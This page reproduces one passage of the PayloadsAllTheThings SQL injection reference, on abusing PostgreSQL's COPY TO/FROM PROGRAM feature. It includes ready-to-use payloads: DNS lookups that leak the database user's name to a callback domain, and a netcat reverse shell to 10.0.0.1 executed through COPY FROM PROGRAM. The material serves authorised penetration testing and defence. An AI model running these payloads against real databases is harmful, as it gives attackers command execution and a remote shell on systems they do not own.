Skip to content
BackEsc
Sign in

SQL Injection · passage 151 of 186

PostgreSQL Injection: Using COPY TO/FROM PROGRAM

2 code blocks · SQL Injection/PostgreSQL Injection.md

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

Open this passage on GitHub

Installations running Postgres 9.3 and above have functionality which allows for the superuser and users with '`pg_execute_server_program`' to pipe to and from an external program using `COPY`.

COPY (SELECT '') TO PROGRAM 'getent hosts $(whoami).[BURP_COLLABORATOR_DOMAIN_CALLBACK]';
COPY (SELECT '') to PROGRAM 'nslookup [BURP_COLLABORATOR_DOMAIN_CALLBACK]'
CREATE TABLE shell(output text);
COPY shell FROM PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f';

Source: SQL Injection/PostgreSQL Injection.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.

Every one of the 186 is a mark on the map. Named now: 131 to 156, reading order first.

  1. OracleSQL Injection: Package oscommand§ 1311 code block · OracleSQL Injection.md
  2. OracleSQL Injection: DBMSSCHEDULER Jobs§ 1321 code block · OracleSQL Injection.md
  3. OracleSQL Injection: OracleSQL File Manipulation§ 133text · OracleSQL Injection.md
  4. OracleSQL Injection: OracleSQL Read File§ 1341 code block · OracleSQL Injection.md
  5. OracleSQL Injection: OracleSQL Write File§ 1351 code block · OracleSQL Injection.md
  6. PostgreSQL Injection: PostgreSQL Injection§ 136text · PostgreSQL Injection.md
  7. PostgreSQL Injection: PostgreSQL Comments§ 137text · PostgreSQL Injection.md
  8. PostgreSQL Injection: PostgreSQL Enumeration§ 138text · PostgreSQL Injection.md
  9. PostgreSQL Injection: PostgreSQL Methodology§ 139text · PostgreSQL Injection.md
  10. PostgreSQL Injection: PostgreSQL Error Based§ 1402 code blocks · PostgreSQL Injection.md
  11. PostgreSQL Injection: PostgreSQL XML Helpers§ 1412 code blocks · PostgreSQL Injection.md
  12. PostgreSQL Injection: PostgreSQL Blind With Substring Equivalent§ 1421 code block · PostgreSQL Injection.md
  13. PostgreSQL Injection: Identify Time Based§ 1431 code block · PostgreSQL Injection.md
  14. PostgreSQL Injection: Database Dump Time Based§ 1441 code block · PostgreSQL Injection.md
  15. PostgreSQL Injection: Table Dump Time Based§ 1451 code block · PostgreSQL Injection.md
  16. PostgreSQL Injection: Columns Dump Time Based§ 1462 code blocks · PostgreSQL Injection.md
  17. PostgreSQL Injection: PostgreSQL Out of Band§ 1471 code block · PostgreSQL Injection.md
  18. PostgreSQL Injection: PostgreSQL Stacked Query§ 1481 code block · PostgreSQL Injection.md
  19. PostgreSQL Injection: PostgreSQL File Read§ 149text · PostgreSQL Injection.md
  20. PostgreSQL Injection: PostgreSQL File Write§ 150text · PostgreSQL Injection.md
  21. PostgreSQL Injection: Using COPY TO/FROM PROGRAM§ 1512 code blocks · PostgreSQL Injection.md
  22. PostgreSQL Injection: Using libc.so.6§ 1521 code block · PostgreSQL Injection.md
  23. PostgreSQL Injection: Alternative to Quotes§ 153text · PostgreSQL Injection.md
  24. PostgreSQL Injection: PostgreSQL List Privileges§ 1541 code block · PostgreSQL Injection.md
  25. PostgreSQL Injection: PostgreSQL Superuser Role§ 1551 code block · PostgreSQL Injection.md
  26. SQLite Injection: SQLite Injection§ 156text · SQLite Injection.md

Zoom in on the map and the dots under the middle of it are named where they are.

Data as of 2026-11-14. CVE List through 2026-11-14 · EPSS of 2026-11-14 · CISA KEV checked 2026-11-14. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only. Use this via MCP

CyberSIXTSignal over noise
Updated AboutDevelopersSign in